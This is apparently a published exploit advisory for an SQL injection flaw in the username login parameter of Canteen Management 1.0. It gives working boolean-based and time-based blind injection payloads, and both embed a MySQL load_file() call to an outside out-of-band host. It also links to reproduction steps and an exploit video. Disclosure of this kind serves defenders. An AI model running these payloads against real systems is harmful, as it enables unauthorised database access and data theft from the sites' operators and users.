Canteen Management 1.0 2022 SQL Injection Vulnerability

## Title: Canteen-Management1.0-2022 SQLi
## Author: nu11secur1ty
## Vendor: https://www.mayurik.com/
## Software: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/mayuri_k/2022/Canteen-Management/Docs/youthappam.zip?raw=true
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Canteen-Management/SQLi

## Description:
The username parameter from Canteen-Management1.0-2022 appears to be
vulnerable to SQL injection attacks.
The malicious user can attack remotely this system by using this
vulnerability to steal all information from the database of this
system.

STATUS: HIGH Vulnerability

[+]Payload:

```mysql
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=UvIiDwEB'+(select
load_file('\\\\dp63gurp7hq1sbs2l0zhxwq2yt4msdn1e42wpmdb.tupaciganka.com\\gfa'))+''
OR NOT 6549=6549 AND 'gzCy'='gzCy&password=h5F!l8j!Y6&login=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=UvIiDwEB'+(select
load_file('\\\\dp63gurp7hq1sbs2l0zhxwq2yt4msdn1e42wpmdb.tupaciganka.com\\gfa'))+''
AND (SELECT 2876 FROM (SELECT(SLEEP(17)))IStn) AND
'awEr'='awEr&password=h5F!l8j!Y6&login=
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Canteen-Management/SQLi)

## Proof and Exploit:
[href](https://streamable.com/vvz2lh)